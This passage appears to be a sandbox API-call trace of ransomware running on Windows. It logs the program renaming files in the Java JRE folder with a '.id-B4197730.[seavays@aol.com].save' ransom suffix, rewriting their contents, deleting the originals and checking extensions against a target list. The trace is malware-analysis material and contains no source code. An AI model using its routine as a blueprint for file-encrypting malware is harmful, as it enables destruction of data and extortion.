Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.260] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.261] lstrlenW (lpString=".doc") returned 4 [0079.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString=".docx") returned 5 [0079.261] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0079.261] lstrlenW (lpString=".pdf") returned 4 [0079.261] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString=".xls") returned 4 [0079.261] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString=".xlsx") returned 5 [0079.261] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0079.261] lstrlenW (lpString=".ppt") returned 4 [0079.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.261] lstrlenW (lpString=".zip") returned 4 [0079.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString=".rar") returned 4 [0079.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.261] lstrlenW (lpString=".bz2") returned 4 [0079.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.261] lstrlenW (lpString=".7z") returned 3 [0079.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.261] lstrlenW (lpString=".dbf") returned 4 [0079.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.261] lstrlenW (lpString=".1cd") returned 4 [0079.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0079.262] lstrlenW (lpString=".jpg") returned 4 [0079.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.262] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.262] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.263] GetLastError () returned 0x0 [0079.263] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0079.265] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0079.266] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.266] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0079.266] SetEndOfFile (hFile=0x388) returned 1 [0079.266] CloseHandle (hObject=0x388) returned 1 [0079.267] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.267] SetEndOfFile (hFile=0x344) returned 1 [0079.267] CloseHandle (hObject=0x344) returned 1 [0079.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.268] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0079.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.268] lstrlenW (lpString=".doc") returned 4 [0079.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.268] lstrlenW (lpString=".docx") returned 5 [0079.268] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0079.269] lstrlenW (lpString=".pdf") returned 4 [0079.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.269] lstrlenW (lpString=".xls") returned 4 [0079.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.269] lstrlenW (lpString=".xlsx") returned 5 [0079.269] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0079.269] lstrlenW (lpString=".ppt") returned 4 [0079.269] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.269] lstrlenW (lpString=".zip") returned 4 [0079.269] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.269] lstrlenW (lpString=".rar") returned 4 [0079.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.269] lstrlenW (lpString=".bz2") returned 4 [0079.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.269] lstrlenW (lpString=".7z") returned 3 [0079.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.269] lstrlenW (lpString=".dbf") returned 4 [0079.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.269] lstrlenW (lpString=".1cd") returned 4 [0079.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0079.269] lstrlenW (lpString=".jpg") returned 4 [0079.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.270] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.270] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.270] GetLastError () returned 0x0 [0079.271] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4040, lpOverlapped=0x0) returned 1 [0079.678] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4050, lpOverlapped=0x0) returned 1 [0079.679] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.679] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0079.679] SetEndOfFile (hFile=0x388) returned 1 [0079.680] CloseHandle (hObject=0x388) returned 1 [0079.680] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.680] SetEndOfFile (hFile=0x344) returned 1 [0079.681] CloseHandle (hObject=0x344) returned 1 [0079.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.681] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0079.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.682] lstrlenW (lpString=".doc") returned 4 [0079.682] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.682] lstrlenW (lpString=".docx") returned 5 [0079.682] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0079.682] lstrlenW (lpString=".pdf") returned 4 [0079.682] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.682] lstrlenW (lpString=".xls") returned 4 [0079.682] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.682] lstrlenW (lpString=".xlsx") returned 5 [0079.682] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0079.682] lstrlenW (lpString=".ppt") returned 4 [0079.682] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.683] lstrlenW (lpString=".zip") returned 4 [0079.683] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.683] lstrlenW (lpString=".rar") returned 4 [0079.683] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.683] lstrlenW (lpString=".bz2") returned 4 [0079.683] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.683] lstrlenW (lpString=".7z") returned 3 [0079.683] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.683] lstrlenW (lpString=".dbf") returned 4 [0079.683] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.683] lstrlenW (lpString=".1cd") returned 4 [0079.683] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0079.683] lstrlenW (lpString=".jpg") returned 4 [0079.683] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.684] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.685] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.687] GetLastError () returned 0x0 [0079.687] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x39440, lpOverlapped=0x0) returned 1 [0079.696] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x39450, lpOverlapped=0x0) returned 1 [0079.702] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.702] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0079.702] SetEndOfFile (hFile=0x388) returned 1 [0079.702] CloseHandle (hObject=0x388) returned 1 [0079.703] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.703] SetEndOfFile (hFile=0x344) returned 1 [0079.705] CloseHandle (hObject=0x344) returned 1 [0079.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.706] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0079.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.707] lstrlenW (lpString=".doc") returned 4 [0079.707] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString=".docx") returned 5 [0079.707] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0079.707] lstrlenW (lpString=".pdf") returned 4 [0079.707] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString=".xls") returned 4 [0079.707] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString=".xlsx") returned 5 [0079.707] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0079.707] lstrlenW (lpString=".ppt") returned 4 [0079.707] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.707] lstrlenW (lpString=".zip") returned 4 [0079.707] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString=".rar") returned 4 [0079.707] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.707] lstrlenW (lpString=".bz2") returned 4 [0079.707] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.707] lstrlenW (lpString=".7z") returned 3 [0079.707] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.707] lstrlenW (lpString=".dbf") returned 4 [0079.707] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.707] lstrlenW (lpString=".1cd") returned 4 [0079.708] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0079.708] lstrlenW (lpString=".jpg") returned 4 [0079.708] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.708] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.708] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.709] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.709] GetLastError () returned 0x0 [0079.709] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4040, lpOverlapped=0x0) returned 1 [0079.711] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4050, lpOverlapped=0x0) returned 1 [0079.713] ReadFile (in: hFile=0x344, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.713] WriteFile (in: hFile=0x388, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0079.713] SetEndOfFile (hFile=0x388) returned 1 [0079.713] CloseHandle (hObject=0x388) returned 1 [0079.713] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.713] SetEndOfFile (hFile=0x344) returned 1 [0079.715] CloseHandle (hObject=0x344) returned 1 [0079.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.715] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0080.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.235] lstrlenW (lpString=".doc") returned 4 [0080.235] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.235] lstrlenW (lpString=".docx") returned 5 [0080.235] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0080.235] lstrlenW (lpString=".pdf") returned 4 [0080.235] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.235] lstrlenW (lpString=".xls") returned 4 [0080.235] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.235] lstrlenW (lpString=".xlsx") returned 5 [0080.235] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0080.235] lstrlenW (lpString=".ppt") returned 4 [0080.235] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.235] lstrlenW (lpString=".zip") returned 4 [0080.235] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.235] lstrlenW (lpString=".rar") returned 4 [0080.235] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.235] lstrlenW (lpString=".bz2") returned 4 [0080.235] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.235] lstrlenW (lpString=".7z") returned 3 [0080.235] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.236] lstrlenW (lpString=".dbf") returned 4 [0080.236] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.236] lstrlenW (lpString=".1cd") returned 4 [0080.236] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0080.236] lstrlenW (lpString=".jpg") returned 4 [0080.236] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0080.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0080.240] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0080.240] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0080.240] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x38d0058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.245] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0080.245] ReadFile (in: hFile=0x36c, lpBuffer=0x3910058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3910058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.256] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.256] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0080.256] ReadFile (in: hFile=0x36c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.277] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.277] WriteFile (hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xf2c [0050.039] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x74e490 [0050.040] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x75e498 [0050.040] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcde8 [0050.040] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d270 [0050.040] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcec0 [0050.040] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x39ea020 [0050.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.043] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.043] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.043] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.043] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.043] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff50 | out: OldValue=0x2ecff50*=0x0) returned 1 [0050.043] lstrlenW (lpString="kernel32.dll") returned 12 [0050.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.043] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.043] Sleep (dwMilliseconds=0x64) [0050.540] lstrcmpiW (lpString1=".MARKER", lpString2=".save") returned -1 [0050.540] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0050.540] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.584] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=0) returned 1 [0050.585] CloseHandle (hObject=0x2fc) returned 1 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString=".doc") returned 4 [0050.585] lstrcmpiW (lpString1=".doc", 